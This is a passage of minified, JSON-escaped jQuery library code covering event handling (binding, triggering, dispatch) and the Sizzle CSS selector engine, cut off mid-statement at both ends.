g=f.hasData(a)\u0026\u0026f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g\u0026\u0026!!(o=g.events)){b=f.trim(I(b||\"\")).split(\" \");for(h=0;h\u003cb.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp(\"(^|\\\\.)\"+l.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null;for(n=0;n\u003cr.length;n++)s=r[n],(e||k===s.origType)\u0026\u0026(!c||c.guid===s.guid)\u0026\u0026(!l||l.test(s.namespace))\u0026\u0026(!d||d===s.selector||d===\"**\"\u0026\u0026s.selector)\u0026\u0026(r.splice(n--,1),s.selector\u0026\u0026r.delegateCount--,p.remove\u0026\u0026p.remove.call(a,s));r.length===0\u0026\u0026m!==r.length\u0026\u0026((!p.teardown||p.teardown.call(a,l)===!1)\u0026\u0026f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)\u0026\u0026(q=g.handle,q\u0026\u0026(q.elem=null),f.removeData(a,[\"events\",\"handle\"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3\u0026\u0026e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),k=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])\u0026\u0026!f.event.global[h])return;c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join(\".\"),c.namespace_re=c.namespace?new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\"):null,o=h.indexOf(\":\")\u003c0?\"on\"+h:\"\";if(!e){j=f.cache;for(l in j)j[l].events\u0026\u0026j[l].events[h]\u0026\u0026f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger\u0026\u0026p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g\u0026\u0026!p.noBubble\u0026\u0026!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n\u0026\u0026n===e.ownerDocument\u0026\u0026r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l\u003cr.length\u0026\u0026!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,\"events\")||{})[c.type]\u0026\u0026f._data(m,\"handle\"),q\u0026\u0026q.apply(m,d),q=o\u0026\u0026m[o],q\u0026\u0026f.acceptData(m)\u0026\u0026q.apply(m,d)===!1\u0026\u0026c.preventDefault();c.type=h,!g\u0026\u0026!c.isDefaultPrevented()\u0026\u0026(!p._default||p._default.apply(e.ownerDocument,d)===!1)\u0026\u0026(h!==\"click\"||!f.nodeName(e,\"a\"))\u0026\u0026f.acceptData(e)\u0026\u0026o\u0026\u0026e[h]\u0026\u0026(h!==\"focus\"\u0026\u0026h!==\"blur\"||c.target.offsetWidth!==0)\u0026\u0026!f.isWindow(e)\u0026\u0026(n=e[o],n\u0026\u0026(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n\u0026\u0026(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,\"events\")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive\u0026\u0026!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e\u0026\u0026!c.target.disabled\u0026\u0026(!c.button||c.type!==\"click\")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j\u003ce;j++)r=d[j],s=r.selector,o[s]===b\u0026\u0026(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]\u0026\u0026q.push(r);q.length\u0026\u0026i.push({elem:l,matches:q})}}d.length\u003ee\u0026\u0026i.push({elem:this,matches:d.slice(e)});for(j=0;j\u003ci.length\u0026\u0026!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k\u003cp.matches.length\u0026\u0026!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace\u0026\u0026!r.namespace||c.namespace_re\u0026\u0026c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b\u0026\u0026(c.result=n,n===!1\u0026\u0026(c.preventDefault(),c.stopPropagation()))}}return c.result},props:\"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(a,b){a.which==null\u0026\u0026(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:\"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null\u0026\u0026d.clientX!=null\u0026\u0026(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f\u0026\u0026f.scrollLeft||g\u0026\u0026g.scrollLeft||0)-(f\u0026\u0026f.clientLeft||g\u0026\u0026g.clientLeft||0),a.pageY=d.clientY+(f\u0026\u0026f.scrollTop||g\u0026\u0026g.scrollTop||0)-(f\u0026\u0026f.clientTop||g\u0026\u0026g.clientTop||0)),!a.relatedTarget\u0026\u0026i\u0026\u0026(a.relatedTarget=i===a.target?d.toElement:i),!a.which\u0026\u0026h!==b\u0026\u0026(a.which=h\u00261?1:h\u00262?3:h\u00264?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3\u0026\u0026(a.target=a.target.parentNode),a.metaKey===b\u0026\u0026(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:\"focusin\"},blur:{delegateType:\"focusout\"},beforeunload:{setup:function(a,b,c){f.isWindow(this)\u0026\u0026(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b\u0026\u0026(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()\u0026\u0026c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener\u0026\u0026a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent\u0026\u0026a.detachEvent(\"on\"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a\u0026\u0026a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault\u0026\u0026a.getPreventDefault()?K:J):this.type=a,b\u0026\u0026f.extend(this,b),this.timeStamp=a\u0026\u0026a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation\u0026\u0026a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c\u0026\u0026!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,\"form\"))return!1;f.event.add(this,\"click._submit keypress._submit\",function(a){var c=a.target,d=f.nodeName(c,\"input\")||f.nodeName(c,\"button\")?c.form:b;d\u0026\u0026!d._submit_attached\u0026\u0026(f.event.add(d,\"submit._submit\",function(a){this.parentNode\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"submit\",this.parentNode,a,!0)}),d._submit_attached=!0)})},teardown:function(){if(f.nodeName(this,\"form\"))return!1;f.event.remove(this,\"._submit\")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type===\"checkbox\"||this.type===\"radio\")f.event.add(this,\"propertychange._change\",function(a){a.originalEvent.propertyName===\"checked\"\u0026\u0026(this._just_changed=!0)}),f.event.add(this,\"click._change\",function(a){this._just_changed\u0026\u0026!a.isTrigger\u0026\u0026(this._just_changed=!1,f.event.simulate(\"change\",this,a,!0))});return!1}f.event.add(this,\"beforeactivate._change\",function(a){var b=a.target;z.test(b.nodeName)\u0026\u0026!b._change_attached\u0026\u0026(f.event.add(b,\"change._change\",function(a){this.parentNode\u0026\u0026!a.isSimulated\u0026\u0026!a.isTrigger\u0026\u0026f.event.simulate(\"change\",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!==\"radio\"\u0026\u0026b.type!==\"checkbox\")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,\"._change\");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0\u0026\u0026c.addEventListener(a,e,!0)},teardown:function(){--d===0\u0026\u0026c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a==\"object\"){typeof c!=\"string\"\u0026\u0026(d=c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null\u0026\u0026e==null?(e=c,d=c=b):e==null\u0026\u0026(typeof c==\"string\"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1\u0026\u0026(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on.call(this,a,b,c,d,1)},off:function(a,c,d){if(a\u0026\u0026a.preventDefault\u0026\u0026a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.type+\".\"+e.namespace:e.type,e.selector,e.handler);return this}if(typeof a==\"object\"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c==\"function\")d=c,c=b;d===!1\u0026\u0026(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||\"**\",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,\"**\"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,\"lastToggle\"+a.guid)||0)%d;f._data(this,\"lastToggle\"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d\u003cb.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each(\"blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0),C.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!=\"string\"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length\u003e0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1\u0026\u0026!g\u0026\u0026(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=\"sizcache\"+(Math.random()+\"\").replace(\".\",\"\"),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\\\/g,k=/\\r\\n/g,l=/\\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(\"\"),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length\u003e1\u0026\u0026p.exec(b))if(w.length===2\u0026\u0026o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]\u0026\u0026(b+=w.shift()),j=y(b,j,f)}else{!f\u0026\u0026w.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!v\u0026\u0026o.match.ID.test(w[0])\u0026\u0026!o.match.ID.test(w[w.length-1])\u0026\u0026(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1\u0026\u0026(w[0]===\"~\"||w[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length\u003e0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q=\"\",r==null\u0026\u0026(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)===\"[object Array]\")if(!u)e.push.apply(e,k);else if(d\u0026\u0026d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]\u0026\u0026(k[t]===!0||k[t].nodeType===1\u0026\u0026m.contains(d,k[t]))\u0026\u0026e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]\u0026\u0026k[t].nodeType===1\u0026\u0026e.push(j[t]);else s(k,e);l\u0026\u0026(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length\u003e0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e\u003cf;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(j,\"\"),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c\u0026\u0026c[0]\u0026\u0026m.isXML(c[0]);while(a\u0026\u0026c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null\u0026\u0026f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)===\"\\\\\")continue;s===r\u0026\u0026(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j\u0026\u0026(i=k(j,f,n,s),p=e^i,d\u0026\u0026i!=null?p?g=!0:s[n]=!1:p\u0026\u0026(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],\"\");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e=\"\";if(d){if(d===1||d===9){if(typeof a.textContent==\"string\")return a.textContent;if(typeof a.innerText==\"string\")return a.innerText.replace(k,\"\");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8\u0026\u0026(e+=n(c));return e},o=m.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!l.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026m.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!l.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026m.filter(b,a,!0)}},\"\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"parentNode\",b,f,a,d,c)},\"~\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"previousSibling\",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(j,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,\"\")},TAG:function(a,b){return a[1].replace(j,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,\"\");!f\u0026\u0026o.attrMap[g]\u0026\u0026(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(j,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||n([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case\"only\":case\"first\":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k===\"first\")return!0;l=a;case\"last\":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case\"nth\":c=b[2],e=b[3];if(c===1\u0026\u0026e===0)return!0;f=b[0],g=a.parentNode;if(g\u0026\u0026(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1\u0026\u0026(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0\u0026\u0026j/c\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||!!a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":!f\u0026\u0026m.attr?d!=null:f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return\"\\\\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+o.match[r].source.replace(/\\\\(\\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var e=a.length;c\u003ce;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(o.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof 